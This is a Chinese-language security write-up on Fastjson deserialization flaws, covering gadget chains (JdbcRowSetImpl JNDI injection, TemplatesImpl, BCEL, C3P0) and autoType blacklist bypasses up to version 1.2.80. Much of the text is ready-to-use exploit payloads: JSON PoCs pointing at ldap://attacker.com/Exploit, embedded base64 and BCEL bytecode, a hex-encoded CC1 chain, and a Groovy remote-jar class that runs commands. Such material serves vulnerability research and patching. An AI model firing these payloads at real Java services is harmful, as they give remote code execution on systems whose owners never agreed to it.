Fastjson安全漏洞分析

Fastjson安全漏洞分析
Takake1.Fastjson分析
1.1.fastjson常用方法
首先需要明白JSON类的几个方法分别是,toJSONString,parse,parseObject(String text),parseObject(String text, Class
- toJSONString 是将对象序列化为JSON字符串,实现的是序列化操作,调用的Getter方法。
- parse是将字符串反序列化对象,实现的是反序列化操作,调用的是Setter方法。
- parseObjectt(String text) 是先调用parse方法进行反序列化操作调用Setter方法,再调用toJSON进行序列化操作,调用Getter方法。
- parseObject(String text, Class
clazz)是反序列化为指定的类,而不会调用toJSON方法进行序列化操作,因此只调用Setter方法。 - 以上所有方法在1.2.24默认请求下都可以通过@type注解指定反序列化的类。
1.2.调用流程分析
那么我们来具体分析一下Fastjson中parseObjectt(String text) 通过**@type**指定后的调用流程。
首先是通过调用JSON.parse方法,DefaultJSONParser.parseObject和DefaultJSONParser.parse方法去解析字符串,去处理不同的数据结构。
然后通过ParserConfig类中的createJavaBeanDeserializer和getDeserializer来创建一个反序列Bean,用于之后的调用。
再通过JavaBeanInfo类中的build判断需要调用哪些方法,然后通过该类的add方法将将创建的Bean添加到List<FieldInfo>用于之后的调用。
之后再返回到DefaultJSONParser.parseObject方法通过调用JavaBeanDeserializer.deserialze方法依次进行反序列。
再通过FieldDeserializer.setValue方法依次通过反射调用Bean的Setter方法对属性进行赋值。
再执行完成Setter方法后再回退到JSON.parseObject方法调用JSON.toJSON方法。
再调用SerializeConfig.getObjectWriter和SerializeConfig.getObjectWriter.createJavaBeanSerializer来创建javabean序列化对象。
再使用TypeUtils.buildBeanInfo和TypeUtils.computeGetters方法对需要调用的方法传入入到fieldInfoMap中用于之后的调用,包含Getter/isXxxx方法。
之后回退到JSON.toJSON方法中首先使用getFieldValuesMap.JavaBeanSerializer方法对之前创建的Bean对象进行校验,判断获取到的Bean是否合法。
调用FieldSerializer.getPropertyValue方法来获取Bean中的值,主要是通过FieldInfo.get方法依次对fieldInfoMap中生成的对象方法进行调用。
- 调用流程图
1.3.JAVA反序列化和FastJSON反序列化的区别
- 通过流程分析我们可以判断,JSON反序列化其实是本质是通过反射来调用恶意的Getter和Setter/isXxxx方法,来实现恶意的操作,而在JAVA反序列化中主要是通过JAVA反序列化时调用readObject来构造利用链实现恶意的操作。因此存在本质的区别。
- FastjSON反序列化虽然也叫反序列化其实和JAVA反序列化不太沾边,因为JAVA反序列化其实是对二进制数据进行操作的,而JSON反序列化是基于字符串进行操作的。这点到有点像PHP的反序列化。
- 原生JAVA反序列化需要实现 Serializable 接口,JSON反序列化不需要
- 原生java反序列化受transient影响,JSON反序列化受注解配置影响。
- 不过最后构造链后一般都是执行RCE,通过反射或者类加载。
- JAVA反序列化和JSON反序列化时,如果反序列化的对象已经加载过,则都不会调用静态代码块。但是构造代码块,JAVA反序列化不会调用,而JSON反序列化一定会调用。
1.4.哪些Setter和Getter/isXxx方法会被执行?
- 通过流程分析我们可以从JavaBeanInfo.build着手。
Setter()
1 | for (Method method : methods) { // |
Getter()/isXxxx()
TypeUtils的computeGetters方法
在Getter方法的遍历中会将所有的Getter方法进行调用,即使没有设置值,同样也会调用。
1 | for (Method method : clazz.getMethods()) { |
- 在JavaBeanSerializer中遍历执行所有添加到fieldInfoMap中的Getter和isXxx方法。
1 | public Map<String, Object> getFieldValuesMap(Object object) throws Exception { |
1.5.注意事项
- setter 只会根据方法名来对属性的值进行注入,和属性的名无关。
- 想要对Name进行字段设置和setUsername进行方法调用,只需要传输这样的json串{“username”:”admin”}//大小写都可以,而不是{“name”,”admin”},也就是说方法调用只跟方法名有关,和属性名无关,而且不区分大小写。
1 | public void setUserName(String name) { |
- parseObject方法的执行顺序,先执行parse,调用set方法,set方法执行顺序是按JSON字符串从前到后的顺序来的。再调用toJSON调用get/is方法,是按方法的第四/三个字母的ASCII码的顺序进行执行。
- 在toJSON中默认会遍历执行所有的Getter方法,即使没有为其赋值。
- 想要进入底层类调试需要配置一个getMap,也就是返回值为Map的get方法,避免其代码逻辑进入临时生成的类的逻辑,从而无法调试。
2.打V1.2.24
2.1.JdbcRowSetImpl
2.1.1类分析
在jdk中有这样一个类.
JdbcRowSetImpl
是 Java 中一个 内置的 JDBC 扩展类,属于javax.sql.rowset
包的一部分。它的核心作用是提供一种 断开连接(disconnected)的RowSet
实现,允许开发者以更灵活的方式操作数据库数据而在该类中存在一个我们非常感兴趣的方法,lookup函数,这个我相信大家都不陌生了,在之间的JDNI(rmi/ldap)注入分析我们利用InitialContext的lookup函数参数的注入,链接远程Reference链接远程工厂类,实现类加载执行任意代码。
所以我们看到lookup函数就应该兴奋起来,看该方法是否可以调用,参数是否可以控制。
我们先查看lookup函数的参数是否可控,lookup函数的参数getDataSourceName(),从这个方法中传入,因此我们可以思考是否可以通过JSON反序列化控制getDataSourceName()的返回值。
1 | private Connection connect() throws SQLException { |
- 接下来我们来看到getDataSourceName和setDataSourceName方法。
- 因此通过观察这三个方法,我们知道可以先通过调用setDataSourceName方法对dataSource属性进行赋值,然后getDataSourceName的返回值就变成了我们控制的值,符合JSON反序列化注入的逻辑。
1 | public void setDataSourceName(String dsName) throws SQLException{ |
那么既然我们知道参数已经可控了,那么接下来我们就要分析能否调用connect()方法了。通过对当前类的查找,我们看到可以看到有三个方法调用了connect()方法,分别是getDatabaseMetaData,setAutoCommit,prepare,且他们方法都为public修饰。那么我们最能能够直接观察到可利用的就是getDatabaseMetaData,setAutoCommit方法因为他们符合我们之前说的getter和setter方法,prepare可能可以利用,可以看看其他的是否有调用他的,这我就不分析了,因为有其他更好利用的方法,
在这两个方法getDatabaseMetaData,setAutoCommit,优先考虑肯定是是setAutoCommit,因为如果我们在JSON中传入一个AutoCommit的值的话会优先调用set方法会比get方法优先调用,且如果代码中使用的是parse方法去解析的JSON的话,则是不会解析get方法的,因此肯定考虑set方法。
那么我们接下来观察setAutoCommit方法。
通过观察setAutoCommit的代码,基本上可以确定是可以调用的,通过对autoCommit参数进行赋值,就会调用的connect()方法中。
1 | public void setAutoCommit(boolean autoCommit) throws SQLException { |
2.1.2.POC分析
- 我们一共需要调用两个方法setDataSourceName,setAutoCommit,我们首先通过setDataSourceName对dsName进行赋值。
- 由于set方法的调用的顺序是JSON串中考前的先调用,因此我们先配置DataSourceName赋值,在对AutoCommit赋值即可,再强调一下,JSON的赋值只和方法名有关,和属性值的属性名无关。
- 首先DataSourceName的值,由于是lookup函数,且我的环境是8u65版本,因此使用jndi或者rmi或者使用dns探测都可以,我这我了演示,就使用rmi服务器进行吧。因此设置的值为
rmi://localhost:1099/remoteObj
- 然后是AutoCommit的值,为任意整型或者boolean类型即可,因为整型和布尔型都可以过boolean类型的参数检测。不会报错中断线程。
- 还有一个最重要的参数自然是配置我们需要反序列化的类。
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/remoteObj","AutoCommit":111} |
- jndirmi服务器部署
1 | import java.rmi.AlreadyBoundException; |
1 | import javax.naming.InitialContext; |
- 编译恶意类javac T.java
1 | import java.io.IOException; |
- 启动python http服务器
2.1.3.流程分析
- 首先通过DefaultFieldDeserializer调用setValue方法,反射调用setDataSourceName的方法对属性进行赋值。
- 然后进入到JdbcRowSetImpl核心调用逻辑。给DataSourceName进行赋值。
- 再反射调用setAutoCommit方法的connect()方法。
- 然后再调用connect方法中的lookup函数远程jndirmi服务器,再调用远程的恶意类,进行加载。
2.1.4.总结
- 该链的主要逻辑就是通过调用java原生的JdbcRowSetImpl方法,通过JSON反序列化为首先调用setDataSourceName方法进行传参,然后再调用setAutoCommit方法来调用lookup函数,调用远程的jdni服务器,实现jndi注入。
2.1.5.思考
- 有个问题,那就是说,既然再praseObject方法中会遍历调用所有的get方法,那按道理调用setDataSourceName后,不需要再setAutoCommit方法,因为在JdbcRowSetImpl方法中还有一个方法,那就是getDatabaseMetaData方法,也调用了connect()方法。
- 那么是否能在不调用setAutoCommit的情况下通过自动调用get方法执行远程代码。
1 | public DatabaseMetaData getDatabaseMetaData() throws SQLException { |
- 这次我们不设置autoCommit参数,POC如下。
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://localhost:1099/remoteObj"} |
- 我们实践一下发现,在执行代码前就抛出异常终止了当前线程。
- 我们调试一下,看异常问题出在哪。
- 通过对代码调试我们发现,在调用getDatabaseMetaData方法前调用isAfterLast方法。使用过java原生的jdbc连接数据的朋友都知道,该方法是对sql查询的结果集向后走一个索引。但是我们是我们并没有提供一个正确的链接,因此肯定得不到结果集,执行索引偏移肯定会报错,所以没办法继续执行后面的代码。
- 所以这条路走不通。
2.2.TemplatesImpl(不出网利用)
- 这条链我就不详细分析了,因为之前在分析CC链的时候已经分析过这条链,且只是原因之一,最重要的原因还是这条链的利用范围太窄了,需要在解析JSON串的时候设置Feature.SupportNonPublicField,所以利用范围很低,当然还有一个最根本的原因就是我懒得分析,已经分析过了:laughing:。
- 同时设置Feature.SupportNonPublicField后,系统不再调用Setter方法,因为需要设置私有属性的值,因此主要是通过反射调用实现。
- 该条链中,最主要的内容通过调用getOutputProperties方法实现的。
1 | public synchronized Properties getOutputProperties() { |
2.3. Becl (不出网利用)
2.3.1.利用条件
- 需要具有tomcat dbcp依赖
2.3.2.类分析
- 我们可以看到BasicDataSource类中的createConnectionFactory方法,该方法为我们提供了一个提议加载字节码的地方,不过这部分字节码需要在前面加入BCEL的标识符即$$BCEL$$,以及还需要传入一个类加载器。
- 因此我们现在的思路就是看driverClassName和driverClassLoader,是否可控,经过对当前类的查找,我们找到以下方法。因此两个参数都有对应的Getter和Setter方法,我们可以直接通过JSON反序列化进行赋值。
1 | public synchronized void setDriverClassName(String driverClassName) { |
- 既然参数可控了,接下来我们分析一下能否调用createConnectionFactory方法,我们通过对当前类的查找,看到了createDataSource方法,其中就调用了createConnectionFactory方法,但是createDataSource不是set/get/is方法,因此没办法进行调用,我们再往上级查找,发现当前类一共有setLogWriter,getLogWriter,getConnection。
- 首先我们先来考虑,setLogWriter方法,因为我们对字段进行赋值的化,我们可以定义set方法的执行顺序,且set方法会比get方法先执行,不过我们来看到该方法的参数时,需要传入一个PrintWriter,类型的对象,而该对象没有默认的构造方法,我们还需要对其进行传参,因此实现起来会比较麻烦,我们再尝试看看get方法。
- getConnection方法,因为get方法没办法定义顺序顺序,因此我们有限看ascii码靠前的方法。
1 | public Connection getConnection() throws SQLException { |
- 我们看到getConnection方法直接就调用了createDataSource方法,因此这是以恶好方法,只要保证当前类的ascii码c之前的get方法执行时不会抛出无法处理的异常,则可以正常执行到getConnection(),实现类加载。
2.3.3.PoC分析
- 首先我们需要先获得一个BCEL格式字节码字符串。
- 直接利用读文件将本地的恶意类加载,并且进行编码格式化。
1 | import java.nio.file.Files; |
- 接下来我们就是需要设置driverClassName和driverClassLoader的值。构造Poc如下
1 | package com.shiro.vuln.fastjson; |
- payload
1 | { |
2.3.4.流程
- 首先通过@type指定执行需要反序列化的类,然后分别配置driverClassLoader和driverClassName值。
- 然后在getConnection中调用createDataSource()方法,再调用createConnectionFactory方法,实现BCEL的类加载。
2.4.C3P0 (不出网利用)
2.4.1.利用条件
- c3p0要求版本不高于0.9.5.2,且系统存在可利用的反序列化攻击链。
2.4.1. 流程分析
C3P0的利用链很简单,虽然说发现这条链的人或者团队肯定耗费了大量时间,但是其实利用起来很简单只需要调用一个方法即可。
通过调用com.mchange.v2.c3p0.WrapperConnectionPoolDataSource的setUserOverridesAsString(其实是调用父类抽象类的setUserOverridesAsString方法),同时给唯一参数userOverridesAsString赋值,值为我们要攻击的反序列化对象,任意可用的反序列化链即可,例如CC链,然后将其转换为hex字符串即可。
攻击流程我们大概清楚了,那么我们来分析一下具体的调用细节。
调用父类中的WrapperConnectionPoolDataSourceBase中的问题。
1 | public synchronized void setUserOverridesAsString( String userOverridesAsString ) throws PropertyVetoException |
- VetoableChangeSupport
1 | public void fireVetoableChange(String propertyName, Object oldValue, Object newValue) |
1 | public void fireVetoableChange(PropertyChangeEvent event) |
- WrapperConnectionPoolDataSource
1 | public void vetoableChange( PropertyChangeEvent evt ) throws PropertyVetoException |
- 调用parseUserOverridesAsString解析传入的字符串
1 | public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException |
- 调用 转换为二进制数据
1 | public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException |
- 调用deserializeFromByteArray,完成最终二次反序列化。
1 | public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException |
- 调用堆栈
1 | deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser) |
2.4.2.PoC编写
首先准备一个调用链,例如CC1,可以手写,或者利用ysoserial直接生成一个。
方式一:手写
1 | import org.apache.commons.collections.Transformer; |
- 方式二:ysoserial
1 | ┌──(kali㉿kali)-[~/Desktop/exploit] |
或者将以前生成的反序列文件通过cyberchef进行转换,选择任意方式均可
- 构造完整PoC
1 | { |
3. 绕过技巧
- 在fastjson1.2.25版本之后,系统在@type反序列化类时在com.alibaba.fastjson.parser.ParserConfig.java中添加了一个checkAutoType的方法,用于过滤一些恶意的反序列化。
- 从 Fastjson 1.2.25 版本开始,默认情况下 AutoType 功能是关闭的,需要手动开启才能通过
@type
字段指定任意类进行反序列化,但是无论autoType开启以及关闭,都不影响我们利用缓存绕过。 - 因此目前最主要的问题就是绕过这个checkAutoType方法进行反序列化利用。
3.1. 1.2.47利用缓存绕过
- 其中一个关键点就是autoTypeSupport参数,开启autoTypeSupport白名单优先,关闭autoTypeSupport黑名单优先。1.2.25之后默认情况为autoTypeSupport关闭,即黑名单优先原则。(无论autoType开启与否,都不影响利用缓存绕过)
- checkAutoType方法分析。
1 | // Class<?> expectClass 这个就是在反序列化时配置预期加载的类,通常我们是没办法控制的,所以就别想了 |
- 默认黑名单类
- 目前能够比较好绕过的就是从缓存找类的方式,只要我们提前将我们的类写入缓存表中,那就可以绕过这个方法的检测。
1 | //从mappings中查找是否存在该类 |
- 那么接下来我们的目标就是如果通过将我们的恶意类加载进行mappings缓存表中,那么我们可以通过查找mappings.put方法,那查看哪些可控方法可以使用。
- 通过查找我们可以看到我们的老朋友com.alibaba.fastjson.util.TypeUtils类,之前见到它的时候还是遍历Getter方法的时候。在这个类中存在一个loadClass方法,而该方法就调用了mappings.put方法,将className插入到mappings中,为我们绕过checkAutoType提供了条件。
1 | public static Class<?> loadClass(String className, ClassLoader classLoader) { |
- 我们又可以找到MiscCodec这个类中又调用了TypeUtils.loadClass,而MiscCodec本身是个反序列化器,且会在ParserConfig初始化时进行配置,
;
1 | deserializers.put(Class.class, MiscCodec.instance) |
也就是说当Class.class类型或者下面的这些类类型反序列化时都会调用MiscCodec.instance这个反序列化器,而调用这个返序列化器,就会将val对应的反序列化的类写入到mappings中。
那么只要需要使用这些类去加载这些类加载器去加载我们的恶意类就好了。
提前加载了这个恶意类加载到mappings中,到在cheakAutoType中去查找缓存的时候就会返回,从而绕过黑白名单检测机制。
那么接下来就是具体的绕过实际的PoC编写了
首先我们选择一个我们要反序列化的类,我们要使用的反序列化器是MiscCodec.instance,因此我们在以上的class类型中寻找一个,例如我们可以选择java.lang.class,属于Class类型,且是JDK自带的类。然后我们需要设置val的值,为什么是设置val的值呢,因为MiscCodec类的代码实现就是将val的值使用TypeUtils.loadClass进行类加载。
PoC如下
1 | {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"} |
- 这样我们就可以将com.sun.rowset.JdbcRowSetImpl写入到mappings缓存中,再次调用cheakAutoType方法来检测恶意类的时候,发现缓存中存在这个类就会直接返回。
缓存加载流程:
- 反序列化处理:Fastjson 使用
MiscCodec
反序列化器处理java.lang.Class
类型。 - **调用
TypeUtils.loadClass
**:解析val
值对应的类名,并将该类加载到mappings
缓存中(cache=true
时默认缓存)。 - 缓存写入:此时
com.sun.rowset.JdbcRowSetImpl
被存入全局缓存TypeUtils.mappings
,后续可直接读取。
- 之后的PoC逻辑就和之前一样了,将之前的逻辑结合起来,PoC如下。
1 | { |
其他利用缓存绕过原理类似
- Templateslmpl
1
2
3
4
5
6
7
8
9
10
11
12
13
14{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [ "yv66vgAAADQALQoABgAfCgAgACEIACIKACAAIwcAJAcAJQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAqTGNvbS9zaGlyby92dWxuL2Zhc3Rqc29uL1RlbXBsYXRlc0ltcGxjbWQ7AQAKRXhjZXB0aW9ucwcAJgEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBABBNZXRob2RQYXJhbWV0ZXJzAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACcBAApTb3VyY2VGaWxlAQAVVGVtcGxhdGVzSW1wbGNtZC5qYXZhDAAHAAgHACgMACkAKgEABGNhbGMMACsALAEAKGNvbS9zaGlyby92dWxuL2Zhc3Rqc29uL1RlbXBsYXRlc0ltcGxjbWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAAPAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIAAAABABYAFwADABgAAAANAwASAAAAFAAAABYAAAABABAAGQADAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABoAGwACAA4AAAAEAAEAHAAYAAAACQIAEgAAABoAAAABAB0AAAACAB4="
],
"_name": "aaa",
"_tfactory": { },
"_outputProperties": { }
}
}- BCEL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19{
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$c1N$C1$Q$7d$F$d9$b2$x$I$82$m$a2$a8$e8A$f0$A$Xo$Q$_F$T$p$8a$91$N$c6$e3R$h$5c$c4$5d$b2$y$ca$ly$e6$a2F$T$bd$fbQ$c6$e9$c6$m$J$3dt$3ao$de$7b$9dN$bf$7f$de$3f$B$i$60$d7$80$8e$b4$81$Vd$a2$c8$aa$b8$ca$91$e3X3$a0$n$cf$b1$ce$b1$c1$a0$d5m$c7$f6$P$Z$c2$a5r$9ba$e1$c8$bd$95$M$89$86$ed$c8$8b$d1CGz$a6$d5$e9$T$S$ad$8b$fe$l3$de$f2$zq$7fn$N$82$Sy2$Y$zw$e4$Jyb$x$aafVz$d6$a3$V$83$81E$8eB$M$9b$d8$o$Da$f5EE$8ee$M$db$u2$a4$V$a7j$bb$d5$d3$e6$f1X$c8$81o$bb$OC$3e$40$fb$96$d3$ad$5e$8d$i$df$7e$90$d3$a2$f2$dba$60$sC$f2$9f$d5$ec$f4$a4$f0$Z$96$e7$84$d4UW$fa$d3$qS$w7$e685z1$b5$q$Y$f6J3$d5$96$ef$d9N$b76$x$b8$f4$5c$n$87C$S$e4f$99$e6$9d$e7$3e$a91$d4$cam$U$R$a5$91$ab$V$CS$af$a7$3dFY$81$o$a3$Y$d9$7f$F$9b$d0$81fH$bb$W$80a$S$zM$a9$s$e5$K$5d$7dC$u$V$7e$c1$c2$f53$e2g$l$d0nH$cb$bf$sAQ$tj$84$eeP$sY$3a$v$x$3d$409a$f4$d9tw$82P$8eP$83$p$a9$93h9h$w$f5$LT$ffu$95$j$C$A$A"
}
}:"bbb"
}- C3P0 二次反序列化 CC1
1
2
3
4
5
6
7
8
9
10{
"a": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"b": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737200316F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E5472616E73666F726D65644D617061773FE05DF15A700300024C000E6B65795472616E73666F726D657274002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B4C001076616C75655472616E73666F726D657271007E00057870707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000047372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65707400096765744D6574686F64757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A99020000787000000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001A7371007E00117571007E0016000000027070740006696E766F6B657571007E001A00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E00167371007E00117571007E00160000000174000463616C63740004657865637571007E001A0000000171007E001D737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C7708000000100000000174000576616C75657400047979797978787672001B6A6176612E6C616E672E616E6E6F746174696F6E2E54617267657400000000000000000000007870;"
}
}总结
- 利用默认的MiscCodec反序列化器去反序列化加载java.lang.Class,然后通过设置val值,将我们要执行的恶意类提前通过TypeUtils.loadClass方法提前加载到mappings中,这样当我们再次去反序列化调用com.sun.rowset.JdbcRowSetImpl,并在checkAutoType方法中进行检测时,会在mapping中去查找,由于我们的提前注入,就会绕过黑白名单检测直接返回我们想要执行的恶意类。
- 由于该利用是在黑白名单和autoType检测之前就已经返回了,因此不需要目标服务器手动开启autoType支持,并且在1.2.25-1.2.47版本之间的其他绕过例如L;、LL;;、[,绕过黑名单都需要autoType手动开启后才能利用,否则无法利用。
3.2. 1.2.41 L<类名>; 绕过
- 在1.2.41版本中在未开启autoType支持时,仅支持利用白名单过滤,白名单优先,因此无法争对黑名单进行绕过。
- 因此在1.2.25-1.2.47争对黑名单绕过都需要开启autoType支持。
- 利用在TypeUtiles.loadClass方法中删除L和;的机制进行黑名单绕过。
- com.alibaba.fastjson.util.TypeUtils.loadClass
1 | if (className.startsWith("L") && className.endsWith(";")) { |
- 构造PoC为
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true} |
3.3. 1.2.42 双写LL<类名>;; 绕过
- com.alibaba.fastjson.util.TypeUtils.loadClass
1 | // 递归去除类名中的"L"和";" |
- 构造PoC
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;", "dataSourceName":"ldap://attacker.com/Exploit", "autoCommit":true} |
3.4. 1.2.43 [<类名> 绕过
- com.alibaba.fastjson.util.TypeUtils.loadClass
1 | if(className.charAt(0) == '['){ |
- 构造PoC
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true} |
3.5. 1.2.68 绕过
3.5.1.当未主动开启autoType支持
当未主动开启autotype支持时,想要实现利用必须仅在默认配置的白名单中进行反序列利用,否则会被拦截从而无法利用。
以下是一些是部分白名单,所有想要绕过autoType是比较有难度的事情,不过也并不是完全没有办法。
基本类型包装类:
1
2
3
4
5java.lang.Boolean
java.lang.Integer
java.lang.Long
java.lang.Double
java.lang.String集合接口(仅限接口,非实现类):
1
2
3java.util.List
java.util.Map
java.util.Collection日期类:
1
2
3
4java.util.Date
java.sql.Date
java.sql.Time
java.sql.TimestampJSON 结构类:
1
2com.alibaba.fastjson.JSONObject
com.alibaba.fastjson.JSONArrayJDK 内置序列化接口:
1
2
3java.lang.Cloneable
java.lang.Comparable
java.lang.Runnable
1.利用JDK11写文件
1 | { |
2.利用commons-io写文件
- 文件大小需要8kb以上才能正确写入,且commons-io在2.0-2.6
1 | { |
3.利用commons-io读文件
- 需要用到dnslog
1 | { |
3.5.2.主动开启autoType支持
1.ShiroJNDI远程对象调用
- Shiro链
当系统开启autotype支持的时候,我们可以通过绕过黑名单的方式来实现JNDI注入。
但是需要目标系统具有shiro依赖,且shiro-core版本小于等于1.6。
1 | { |
3.6. 1.2.76 - 1.2.80绕过
3.6.1. groovy链
该链主要是通过groovy的依赖实现加载远程jar包。(无需主动开启autoType即可利用)
需要发送两个请求。
1 | { |
远程jar包如何编写?
参考https://github.com/Lonely-night/fastjsonVul/tree/7f9d2d8ea1c27ae1f9c06076849ae76c25b6aff7的attack写法
- GrabAnnotationTransformation2.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26package groovy.grape;
import org.codehaus.groovy.ast.ASTNode;
import org.codehaus.groovy.control.CompilePhase;
import org.codehaus.groovy.control.SourceUnit;
import org.codehaus.groovy.transform.ASTTransformation;
import org.codehaus.groovy.transform.GroovyASTTransformation;
import java.io.IOException;
public class GrabAnnotationTransformation2 implements ASTTransformation {
public GrabAnnotationTransformation2() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
}
}
public void visit(ASTNode[] nodes, SourceUnit source) {
}
}- org.codehaus.groovy.transform.ASTTransformation
1
groovy.grape.GrabAnnotationTransformation2
- pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>groovy</groupId>
<artifactId>attack</artifactId>
<version>1</version>
<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
<type>pom</type>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>
3.6.2. 1.2.80的其他默认关闭autoType利用方式
